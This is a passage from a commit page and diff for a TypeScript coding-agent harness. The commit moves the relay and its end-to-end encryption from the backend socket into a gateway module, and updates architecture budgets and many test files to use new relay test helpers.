The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.
TypeScript 3d-modelingagent-frameworkagent-harnessai-agentscadclaude-codecodexcoding-agentsdeveloper-toolsesp32game-developmentmcp-servermulti-agentopen-hardwareopencodeopenharnesspcbroboticsterminaltmux
The relay and its E2EE leave the socket for the gateway, still in the core's process (#899)
Deef86dfef46839
diff --git a/cli/AGENTS.md b/cli/AGENTS.mdindex b55dcb02d..77e7c58a1 100644--- a/cli/AGENTS.md+++ b/cli/AGENTS.md@@ -18,6 +18,9 @@ SERVICES src/services/ everything else: search, viewers, models, workspaces,`src/core/main.ts` `runForeground()` is the composition root: it creates the modules and wires themtogether. It is the core's own entry (`harness __run`); `src/cli.ts` is the CLI, and calls in for`__run` and `start -f`. `src/backendSocket.ts` is the transport: it receives frames and dispatches them.+`src/gateway/` is the relay: the backend link, the E2EE sessions and keys, and every rule about what a+remote client may send and how what it is sent is sealed. The socket speaks to it in the clear through+`GatewayPort` and hears it through `GatewayEvents` (`src/core/api.ts`), and never holds a key.## Where new code goesdiff --git a/cli/src/agentHandoff.wire.spec.ts b/cli/src/agentHandoff.wire.spec.tsindex 6072cde07..3edf225df 100644--- a/cli/src/agentHandoff.wire.spec.ts+++ b/cli/src/agentHandoff.wire.spec.ts@@ -11,6 +11,7 @@ import { join } from 'node:path'import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { relaySocket } from './testing/relaySocket.js'import { bindHandoffRequest } from './testing/socketCore.js'import { prepareAgentHandoff, type HandoffDeps } from './lib/agentHandoff.js'import { CommanderMirror } from './lib/commander.js'@@ -33,7 +34,7 @@ beforeEach(() => {root = realpathSync(mkdtempSync(join(tmpdir(), 'handoff-wire-')))ws = join(root, 'ws')mkdirSync(ws)- socket = new BackendSocket('token')+ socket = relaySocket('token')frames = []socket.registerLocalClient('local:w', { sendFrame: (frame) => { frames.push(frame as Frame); return true }, sendBinary: () => true })})diff --git a/cli/src/architecture.spec.ts b/cli/src/architecture.spec.tsindex fee15f670..103896c73 100644--- a/cli/src/architecture.spec.ts+++ b/cli/src/architecture.spec.ts@@ -144,7 +144,8 @@ const WALK_TIMEOUT_MS = 60_000* those moves, and runForeground gained 28.*/const RUN_FOREGROUND_BUDGET = 2_600-const BACKEND_SOCKET_BUDGET = 2_180+/** Lowered from 2,180 when the relay and its E2EE left the socket for the gateway (step 10, R1). */+const BACKEND_SOCKET_BUDGET = 1_440/** Exceptions, each with its reason. Keep this short. */const SERVICE_MAY_IMPORT: Record<string, string> = {@@ -179,15 +180,21 @@ const SERVICE_MAY_IMPORT: Record<string, string> = {* monitor and the project readers run in processes of their own, and their code is loaded into the* core's only when they run there instead (services/inline.ts). Then at 101,896 in 430 (step 6): the* Store runs beside the viewers.+ *+ * Grew to 102,524 in 433 (step 10, R1), from 101,896 in 430: the relay and its E2EE left the socket for+ * the gateway (gateway/gateway.ts, gateway/upstream.ts) behind the two interfaces it speaks to the core+ * through (`GatewayPort`, `GatewayEvents` in core/api.ts), still in the core's process. The socket lost+ * 742 lines; the gateway's 1,193 and the interfaces' 110 are loaded until R2 runs the gateway in a process+ * of its own, which takes them, the E2EE manager and the P2P channels out of the core's process.*///// Connected TUI shells added a literal-argv launch port and shell service (#893, 160 loaded lines); moving// the search filename out of its CLI command removed 188, so that change lowered the closure by 28.-const CORE_CLOSURE_BUDGET = 101_990+const CORE_CLOSURE_BUDGET = 102_600/** What is not the core's, by path: each goes to a service or its own process, in the plan's order. */const EDGE: RegExp[] = [- /^lib\/e2ee\//, /^cable\//, /^device\//, /^lib\/autonomous-device\//, /^sharing\//, /^teams\//, /^orchestrator\//, /^services\//,+ /^gateway\//, /^lib\/e2ee\//, /^cable\//, /^device\//, /^lib\/autonomous-device\//, /^sharing\//, /^teams\//, /^orchestrator\//, /^services\//,/^lib\/grid(Attach|Credentials|Derive|Ensure|Exec|FleetRpc|Handoff|Install|McpUrl|Models|ModelsPayload|Picture|Presence|Reader|Target|Wake)\.ts$/,/^lib\/localModels\.ts$/,// The Store's and the viewers' parts of dsh; the launch path (installed, manifest, launch, runtime, …) is the core's.@@ -237,6 +244,8 @@ const CORE_MAY_REACH: Record<string, string> = {'dsh/service.ts': STORE_BYPASS,'dsh/update.ts': STORE_BYPASS,'dsh/updates.ts': STORE_BYPASS,+ 'gateway/gateway.ts': 'step 10, R2: the gateway, in a process of its own',+ 'gateway/upstream.ts': 'step 10, R2: the gateway, in a process of its own','lib/autonomous-device/direct.ts': 'step 10: the Wi-Fi device, into the devices process over the gateway','lib/autonomous-device/discovery.ts': 'step 10: the Wi-Fi device, into the devices process over the gateway','lib/autonomous-device/dump.ts': 'step 10: the Wi-Fi device, into the devices process over the gateway',@@ -338,6 +347,18 @@ describe('the daemon\'s shape', () => {expect(wrong, 'The core calls services only through CorePorts, and is handed the socket\'s pieces as dependencies (src/core/AGENTS.md).').toEqual([])})+ it('the gateway reaches the core only through core/api.ts: never a core module, the registry, cli.ts or the socket', () => {+ // It speaks to the core through GatewayPort and GatewayEvents alone, so that it can run in a process of+ // its own (step 10, R2) without taking any of the core with it.+ const wrong = importsIn('gateway').filter(({ from, typeOnly }) => {+ if (/(^|\/)core\//.test(from)) return from !== '../core/api.js' || !typeOnly+ if (/(^|\/)(cli|backendSocket|localWsServer)\.js$/.test(from)) return true+ return /(^|\/)lib\/registry\.js$/.test(from)+ }).map(({ file, from }) => `${file} imports ${from}`)+ expect(wrong, 'The gateway is the relay, not the core: what it needs of the core is an event in GatewayEvents (src/core/api.ts).').toEqual([])+ expect(importsIn('gateway').some(({ from, typeOnly }) => from === '../core/api.js' && typeOnly)).toBe(true)+ })+it('the master holds no feature code: Node itself, its own folder, and the log trimmer', () => {const wrong = importsIn('harnessd').filter(({ from }) => !from.startsWith('node:') && !from.startsWith('./') && from !== '../lib/log.js').map(({ file, from }) => `${file} imports ${from}`)diff --git a/cli/src/backendSocket.agentHandoff.spec.ts b/cli/src/backendSocket.agentHandoff.spec.tsindex a82620689..5955a1025 100644--- a/cli/src/backendSocket.agentHandoff.spec.ts+++ b/cli/src/backendSocket.agentHandoff.spec.ts@@ -4,6 +4,7 @@// in cli.ts) does the work.import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { dispatchDown, gatewayOf, relaySocket, upstreamOf } from './testing/relaySocket.js'import { bindHandoffRequest } from './testing/socketCore.js'import { env } from './config/env.js'import * as logModule from './lib/log.js'@@ -31,7 +32,7 @@ describe('agent_handoff_prepare on the local socket', () => {let frames: Frame[]let provider: ReturnType<typeof vi.fn<(req: Req) => Promise<Result>>>beforeEach(() => {- socket = new BackendSocket('token')+ socket = relaySocket('token')frames = []socket.registerLocalClient('local:w', { sendFrame: (frame) => { frames.push(frame as Frame); return true }, sendBinary: () => true })provider = vi.fn(async () => OK)@@ -190,11 +191,11 @@ describe('agent_handoff_prepare through the relay', () => {let provider: ReturnType<typeof vi.fn<(req: Req) => Promise<Result>>>const internals = (): any => socket as anybeforeEach(() => {- socket = new BackendSocket('token')+ socket = relaySocket('token')provider = vi.fn(async () => OK)bindHandoffRequest(socket, provider)- vi.spyOn(internals().e2ee, 'hasSession').mockReturnValue(true)- vi.spyOn(internals().e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_handoff_prepare', payload: good() })+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_handoff_prepare', payload: good() })})afterEach(async () => {await socket.stop()@@ -203,17 +204,17 @@ describe('agent_handoff_prepare through the relay', () => {const sealed = { type: 'agent_handoff_prepare', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }it('never reaches the provider from a device session, and says OWNER_REQUIRED sealed', async () => {- vi.spyOn(internals().e2ee, 'sessionRole').mockReturnValue('device')- const wrap = vi.spyOn(internals().e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })- await internals().dispatchDown(sealed, 'dev-1', 'relay')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, sealed, 'dev-1', 'relay')expect(provider).not.toHaveBeenCalled()expect(wrap).toHaveBeenCalledWith('dev-1', 'agent_handoff_prepare_result', 'r-1', { error: 'OWNER_REQUIRED' })})it('reaches the provider from a web session and seals the reply to that connection', async () => {- vi.spyOn(internals().e2ee, 'sessionRole').mockReturnValue('web')- const wrap = vi.spyOn(internals().e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })- await internals().dispatchDown(sealed, 'web-1', 'relay')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, sealed, 'web-1', 'relay')await vi.waitFor(() => expect(wrap).toHaveBeenCalled())expect(provider).toHaveBeenCalledTimes(1)expect(wrap).toHaveBeenCalledWith('web-1', 'agent_handoff_prepare_result', 'r-1',@@ -221,30 +222,30 @@ describe('agent_handoff_prepare through the relay', () => {})it('checks the owner before anything else: a device with a malformed request still gets OWNER_REQUIRED', async () => {- vi.spyOn(internals().e2ee, 'sessionRole').mockReturnValue('device')- vi.spyOn(internals().e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_handoff_prepare', payload: good({ agentId: '', changeId: 'X', targetEngine: 'nope' }) })- const wrap = vi.spyOn(internals().e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })- await internals().dispatchDown(sealed, 'dev-1', 'relay')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_handoff_prepare', payload: good({ agentId: '', changeId: 'X', targetEngine: 'nope' }) })+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, sealed, 'dev-1', 'relay')expect(wrap).toHaveBeenCalledWith('dev-1', 'agent_handoff_prepare_result', 'r-1', { error: 'OWNER_REQUIRED' })})it('refuses a session with no role', async () => {- vi.spyOn(internals().e2ee, 'sessionRole').mockReturnValue(null)- const wrap = vi.spyOn(internals().e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })- await internals().dispatchDown(sealed, 'x-1', 'relay')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue(null)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_handoff_prepare_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, sealed, 'x-1', 'relay')expect(provider).not.toHaveBeenCalled()expect(wrap).toHaveBeenCalledWith('x-1', 'agent_handoff_prepare_result', 'r-1', { error: 'OWNER_REQUIRED' })})it('sends only E2EE_REQUIRED, to that connection, when the web session is gone by the time the provider settles', async () => {- vi.spyOn(internals().e2ee, 'sessionRole').mockReturnValue('web')- const hasSession = vi.spyOn(internals().e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(internals().e2ee, 'wrapRpcReply')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')+ const hasSession = vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply')const queued: Array<{ t?: string; targetConnId?: string; frame?: Frame }> = []- vi.spyOn(internals(), 'enqueue').mockImplementation((msg: unknown) => { queued.push(msg as never) })+ vi.spyOn(upstreamOf(socket) as any, 'enqueue').mockImplementation((msg: unknown) => { queued.push(msg as never) })const held = deferred<Result>()provider.mockReturnValue(held.promise)- await internals().dispatchDown(sealed, 'web-1', 'relay')+ await dispatchDown(socket, sealed, 'web-1', 'relay')await vi.waitFor(() => expect(provider).toHaveBeenCalledTimes(1))hasSession.mockReturnValue(false)held.resolve({ ...OK, file: '.harness/handoff/SECRETFILE.md' })@@ -257,8 +258,8 @@ describe('agent_handoff_prepare through the relay', () => {it('refuses a plaintext relayed request without calling the provider', async () => {const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})- const enqueue = vi.spyOn(internals(), 'enqueue').mockImplementation(() => {})- await internals().dispatchDown({ type: 'agent_handoff_prepare', payload: good() }, 'web-1', 'relay')+ const enqueue = vi.spyOn(upstreamOf(socket) as any, 'enqueue').mockImplementation(() => {})+ await dispatchDown(socket, { type: 'agent_handoff_prepare', payload: good() }, 'web-1', 'relay')expect(provider).not.toHaveBeenCalled()expect(warn).toHaveBeenCalled()expect(JSON.stringify(enqueue.mock.calls)).toContain('E2EE_REQUIRED')@@ -267,12 +268,12 @@ describe('agent_handoff_prepare through the relay', () => {describe('agent_handoff_prepare after the client went away', () => {it('drops the late reply: never broadcast in the clear, and never queued for the relay', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const asker: Frame[] = [], other: Frame[] = []socket.registerLocalClient('local:w', { sendFrame: (f) => { asker.push(f as Frame); return true }, sendBinary: () => true })socket.registerLocalClient('local:other', { sendFrame: (f) => { other.push(f as Frame); return true }, sendBinary: () => true })const queued: unknown[] = []- vi.spyOn(socket as any, 'enqueue').mockImplementation((msg: unknown) => { queued.push(msg) })+ vi.spyOn(upstreamOf(socket) as any, 'enqueue').mockImplementation((msg: unknown) => { queued.push(msg) })const replied = vi.spyOn(socket as any, 'emitReply')const held = deferred<Result>()const provider = vi.fn(() => held.promise)diff --git a/cli/src/backendSocket.cappedHistory.spec.ts b/cli/src/backendSocket.cappedHistory.spec.tsindex 1fb693857..0981e0494 100644--- a/cli/src/backendSocket.cappedHistory.spec.ts+++ b/cli/src/backendSocket.cappedHistory.spec.ts@@ -27,6 +27,7 @@ vi.mock('./lib/transcriptTail.js', async (importOriginal) => {})import { BackendSocket } from './backendSocket.js'+import { dispatchDown, relaySocket } from './testing/relaySocket.js'import { registry } from './lib/registry.js'import { bindHistory } from './testing/socketCore.js'@@ -40,7 +41,7 @@ describe('session_get past the cap, for an engine without pages', () => {let requests = 0beforeEach(() => {- socket = new BackendSocket('fixture')+ socket = relaySocket('fixture')bindHistory(socket)frames = []socket.registerLocalClient('local:capped', { sendFrame: (frame) => { frames.push(frame as never); return true }, sendBinary: () => true })@@ -67,7 +68,7 @@ describe('session_get past the cap, for an engine without pages', () => {}const ask = async (payload: Record<string, unknown>): Promise<Record<string, any>> => {const requestId = `c${++requests}`- await (socket as any).dispatchDown({ type: 'session_get', payload: { requestId, ...payload } }, 'local:capped', 'local')+ await dispatchDown(socket, { type: 'session_get', payload: { requestId, ...payload } }, 'local:capped', 'local')return frames.find((frame) => frame.type === 'session_get_result' && frame.payload.requestId === requestId)!.payload}diff --git a/cli/src/backendSocket.devices.spec.ts b/cli/src/backendSocket.devices.spec.tsindex d91ed5825..a05fc8f0f 100644--- a/cli/src/backendSocket.devices.spec.ts+++ b/cli/src/backendSocket.devices.spec.ts@@ -1,31 +1,32 @@import { describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { dispatchDown, gatewayOf, relaySocket } from './testing/relaySocket.js'describe('Devices host ownership', () => {it.each(['harness_devices_list', 'harness_device_settings'])('requires sealed owner requests for %s and replies to that connection', async type => {- const socket = new BackendSocket('fixture'), internals = socket as any+ const socket = relaySocket('fixture'), internals = socket as anyconst status = vi.fn(() => ({ attached: true, devices: [{ id: 'usb', attached: true, settings: { brightness: 80 } }] }))const set = vi.fn(async () => ({ ok: true }))socket.harnessDevices = { status: status as any, set }- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const role = vi.spyOn(socket.e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')const clear = { type, payload: { requestId: 'one', id: 'usb', patch: { brightness: 35 } } }- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue(clear)- const reply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({ type: `${type}_result`, payload: { __e2e: 'sealed' } })- await internals.dispatchDown(clear, 'remote')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)+ const reply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: `${type}_result`, payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, clear, 'remote')expect(status).not.toHaveBeenCalled()const sealed = { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }role.mockReturnValue('device')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(status).not.toHaveBeenCalled()role.mockReturnValue('web')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(status).toHaveBeenCalled()expect(reply).toHaveBeenLastCalledWith('remote', `${type}_result`, 'one', expect.objectContaining(type.endsWith('list') ? { protocol: 1 } : { ok: true }))if (type.endsWith('settings')) expect(set).toHaveBeenCalledExactlyOnceWith('usb', { brightness: 35 })const local: unknown[] = []socket.registerLocalClient('local:tool', { sendFrame: frame => { local.push(frame); return true }, sendBinary: () => true }, { tool: true })- await internals.dispatchDown(clear, 'local:tool')+ await dispatchDown(socket, clear, 'local:tool')expect(local).toContainEqual(expect.objectContaining({ type: `${type}_result`, payload: expect.objectContaining({ requestId: 'one' }) }))await socket.stop()})diff --git a/cli/src/backendSocket.dsh.spec.ts b/cli/src/backendSocket.dsh.spec.tsindex de67c52dc..238ff379f 100644--- a/cli/src/backendSocket.dsh.spec.ts+++ b/cli/src/backendSocket.dsh.spec.ts@@ -6,6 +6,7 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'import { tmpdir } from 'node:os'import { join } from 'node:path'import { BackendSocket } from './backendSocket.js'+import { relaySocket } from './testing/relaySocket.js'import { bindLaunchRequests } from './testing/socketCore.js'import { env } from './config/env.js'import { emptyPorts } from './core/api.js'@@ -37,7 +38,7 @@ describe('the DSH requests on the local socket', () => {savedDshDir = env.DSH_DIRenv.DSH_DIR = join(root, 'dsh')invalidateInstalledDsh()- socket = new BackendSocket('token')+ socket = relaySocket('token')bindLaunchRequests(socket)frames = []socket.registerLocalClient('local:store', { sendFrame: (frame) => { frames.push(frame as (typeof frames)[number]); return true }, sendBinary: () => true })diff --git a/cli/src/backendSocket.gate.spec.ts b/cli/src/backendSocket.gate.spec.tsindex 7e5d5530d..ae147f6f8 100644--- a/cli/src/backendSocket.gate.spec.ts+++ b/cli/src/backendSocket.gate.spec.ts@@ -1,5 +1,6 @@import { describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { relaySocket } from './testing/relaySocket.js'import { bindCancelRequest } from './testing/socketCore.js'/** The request gate: a daemon that is still starting answers nothing, and then everything, in order. */@@ -12,7 +13,7 @@ describe('BackendSocket request gate', () => {}it('answers at once when nothing holds it — the way every socket but the daemon\'s is built', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const cancelled: string[] = []bindCancelRequest(socket, (target) => { cancelled.push(target) })client(socket, 'local:open')@@ -22,7 +23,7 @@ describe('BackendSocket request gate', () => {})it('holds requests until it is opened, then dispatches them in the order they came', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')socket.holdRequests()socket.holdRequests()const cancelled: string[] = []@@ -45,7 +46,7 @@ describe('BackendSocket request gate', () => {it('closes a local client that floods a daemon still starting, and keeps the others', async () => {const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})try {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')socket.holdRequests()const cancelled: string[] = []bindCancelRequest(socket, (target) => { cancelled.push(target) })diff --git a/cli/src/backendSocket.gridReads.spec.ts b/cli/src/backendSocket.gridReads.spec.tsindex d18f8b551..35facdff6 100644--- a/cli/src/backendSocket.gridReads.spec.ts+++ b/cli/src/backendSocket.gridReads.spec.ts@@ -12,6 +12,7 @@ import { createServer, type IncomingHttpHeaders, type Server } from 'node:http'import { tmpdir } from 'node:os'import { join } from 'node:path'import { BackendSocket } from './backendSocket.js'+import { relaySocket } from './testing/relaySocket.js'import { env } from './config/env.js'import { emptyPorts, MODELS_FALLBACKS } from './core/api.js'import { createServiceHost } from './core/serviceHost.js'@@ -92,7 +93,7 @@ beforeEach(async () => {sleep: async (ms) => { clock += ms },})grid = installFakeGrid(plan())- socket = new BackendSocket('token')+ socket = relaySocket('token')socket.setHarnessGridName(OWN)const models = createServiceHost(emptyPorts(), { log: () => {} })models.start('models', startModels, fakeCore({diff --git a/cli/src/backendSocket.handoff.spec.ts b/cli/src/backendSocket.handoff.spec.tsindex 6bd6ae0a9..707f1368c 100644--- a/cli/src/backendSocket.handoff.spec.ts+++ b/cli/src/backendSocket.handoff.spec.ts@@ -3,6 +3,7 @@// client (the window) to swap the tile over. Loopback in, loopback out.import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { relaySocket } from './testing/relaySocket.js'import { terminalHandoffRequest } from './lib/terminalHandoff.js'describe('remote_terminal_handoff on the local socket', () => {@@ -10,7 +11,7 @@ describe('remote_terminal_handoff on the local socket', () => {let cli: Array<{ type: string; payload: Record<string, unknown> }>let window: Array<{ type: string; payload: Record<string, unknown> }>beforeEach(() => {- socket = new BackendSocket('token')+ socket = relaySocket('token')cli = []window = []socket.registerLocalClient('local:cli', { sendFrame: (frame) => { cli.push(frame as (typeof cli)[number]); return true }, sendBinary: () => true })diff --git a/cli/src/backendSocket.history.spec.ts b/cli/src/backendSocket.history.spec.tsindex cf84c6198..649789c6a 100644--- a/cli/src/backendSocket.history.spec.ts+++ b/cli/src/backendSocket.history.spec.ts@@ -2,6 +2,7 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'import { join } from 'node:path'import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { dispatchDown, relaySocket } from './testing/relaySocket.js'import { codexMessagesToEvents, windowCodexLines } from './engines/codex/normalizer.js'import { messagesToEvents, subagentStatsFromRawLines, windowRawLines } from './lib/normalize.js'import { registry } from './lib/registry.js'@@ -42,7 +43,7 @@ describe.each([dir = mkdtempSync(join(root, 'history-'))file = join(dir, 'transcript.jsonl')writeFileSync(file, scenario().join('\n') + '\n')- socket = new BackendSocket('fixture')+ socket = relaySocket('fixture')bindHistory(socket)frames = []socket.registerLocalClient('local:history', { sendFrame: (frame) => { frames.push(frame as never); return true }, sendBinary: () => true })@@ -61,7 +62,7 @@ describe.each([let requests = 0async function ask(type: string, payload: Record<string, unknown>): Promise<Record<string, any>> {const requestId = `r${++requests}`- await (socket as any).dispatchDown({ type, payload: { requestId, ...payload } }, 'local:history', 'local')+ await dispatchDown(socket, { type, payload: { requestId, ...payload } }, 'local:history', 'local')return frames.find((frame) => frame.type === `${type}_result` && frame.payload.requestId === requestId)!.payload}diff --git a/cli/src/backendSocket.models.spec.ts b/cli/src/backendSocket.models.spec.tsindex b91202320..9c82c69e0 100644--- a/cli/src/backendSocket.models.spec.ts+++ b/cli/src/backendSocket.models.spec.ts@@ -3,6 +3,7 @@ import { mkdtempSync, readFileSync, readdirSync, rmSync } from 'node:fs'import { tmpdir } from 'node:os'import { join } from 'node:path'import { BackendSocket } from './backendSocket.js'+import { relaySocket } from './testing/relaySocket.js'import { bindLaunchRequests } from './testing/socketCore.js'import { env } from './config/env.js'import { resolveNewAgentModel } from './lib/newAgentModel.js'@@ -17,7 +18,7 @@ beforeEach(() => {root = mkdtempSync(join(tmpdir(), 'launch-models-'))previous = env.ADAPTER_DATA_DIRenv.ADAPTER_DATA_DIR = root- socket = new BackendSocket('token')+ socket = relaySocket('token')bindLaunchRequests(socket)frames = []socket.registerLocalClient('local:models', { sendFrame: frame => { frames.push(frame as typeof frames[number]); return true }, sendBinary: () => true })diff --git a/cli/src/backendSocket.optionalFeatures.spec.ts b/cli/src/backendSocket.optionalFeatures.spec.tsindex 00c5955ca..f80b236a5 100644--- a/cli/src/backendSocket.optionalFeatures.spec.ts+++ b/cli/src/backendSocket.optionalFeatures.spec.ts@@ -1,12 +1,13 @@import { afterEach, expect, it, vi } from 'vitest'import { BackendSocket } from './backendSocket.js'+import { dispatchDown, gatewayOf, relaySocket } from './testing/relaySocket.js'import { PAIR_REQUESTS, PLATE_REQUEST, rpcResultType } from './lib/e2ee/applicationFrames.js'afterEach(() => vi.restoreAllMocks())it.each(['memory', 'recall_memory', 'status', 'list_harnesses'])('refuses retired optional %s requests without starting any feature service', async verb => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const frames: Array<{ type?: unknown; payload?: any }> = []vi.spyOn(socket, 'sendTo').mockImplementation((_to, frame) => { frames.push(frame) })socket.registerLocalClient('local:feature', { sendFrame: () => true, sendBinary: () => true }, { tool: true })@@ -27,7 +28,7 @@ it.each(['memory', 'recall_memory', 'status', 'list_harnesses'])(const retiredRequests = ['pair', ...PAIR_REQUESTS, PLATE_REQUEST]it.each(retiredRequests)('preserves the local transport boundary for %s', async type => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const frames: unknown[] = []socket.registerLocalClient('local:window', {sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true,@@ -44,17 +45,17 @@ it.each(retiredRequests)('preserves the local transport boundary for %s', async})it.each(retiredRequests)('keeps the encrypted, targeted refusal for relayed %s', async type => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const internal = socket as any- vi.spyOn(internal.e2ee, 'hasSession').mockReturnValue(true)- vi.spyOn(internal.e2ee, 'sessionRole').mockReturnValue('web')- vi.spyOn(internal.e2ee, 'unwrapDown').mockReturnValue({ type, payload: { requestId: 'retired' } })- const wrap = vi.spyOn(internal.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type, payload: { requestId: 'retired' } })+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: rpcResultType(type), payload: { __e2e: 'sealed' },})const broadcast = vi.spyOn(socket, 'send')try {- await internal.dispatchDown({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote:owner', 'relay')+ await dispatchDown(socket, { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote:owner', 'relay')expect(wrap).toHaveBeenCalledWith('remote:owner', rpcResultType(type), 'retired', {error: type === 'pair' ? 'LOCAL_ONLY' : 'UNSUPPORTED',})@@ -63,12 +64,13 @@ it.each(retiredRequests)('keeps the encrypted, targeted refusal for relayed %s',})it.each(retiredRequests)('still refuses plaintext relayed %s before optional dispatch', async type => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const frames: unknown[] = []vi.spyOn(console, 'warn').mockImplementation(() => {})- vi.spyOn(socket, 'sendTo').mockImplementation((_to, frame) => { frames.push(frame) })+ // The gateway's own send to that one relayed connection: its refusal never reaches the core.+ vi.spyOn(gatewayOf(socket) as any, 'sendTo').mockImplementation((_to: unknown, frame: unknown) => { frames.push(frame) })try {- await (socket as any).dispatchDown({ type, payload: { requestId: 'retired' } }, 'remote:untrusted', 'relay')+ await dispatchDown(socket, { type, payload: { requestId: 'retired' } }, 'remote:untrusted', 'relay')expect(frames).toEqual([{ type: rpcResultType(type), payload: { requestId: 'retired', error: 'E2EE_REQUIRED' } }])} finally { await socket.stop() }})diff --git a/cli/src/backendSocket.spec.ts b/cli/src/backendSocket.spec.tsindex a43f5c701..d6858afbb 100644--- a/cli/src/backendSocket.spec.ts+++ b/cli/src/backendSocket.spec.ts@@ -6,6 +6,7 @@ import { homedir, tmpdir } from 'os'import { join } from 'path'import { fileURLToPath } from 'url'import { BackendSocket } from './backendSocket.js'+import { dispatchDown, gatewayOf, relaySocket, upstreamOf } from './testing/relaySocket.js'import { AGENT_OPENED_THROTTLE_MS } from './core/agents/update.js'import { deviceAgentListItem, deviceAgentRow } from './core/agents/list.js'import { grokHistoryPage } from './core/transcripts/history.js'@@ -47,7 +48,7 @@ import { env } from './config/env.js'describe('safe session close RPC', () => {it('seals cleanup previews and passes the open-tab condition to Close', async () => {- const socket = new BackendSocket('fixture'), frames: any[] = []+ const socket = relaySocket('fixture'), frames: any[] = []socket.registerLocalClient('local:cleanup', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })const cleanupPreview = vi.fn(async () => ({ version: 1, agents: [], kept: 2 }))bindCloseRequests(socket, cleanupPreview)@@ -55,7 +56,7 @@ describe('safe session close RPC', () => {socket.closeAgentService = { request, dispose() {} } as unknown as 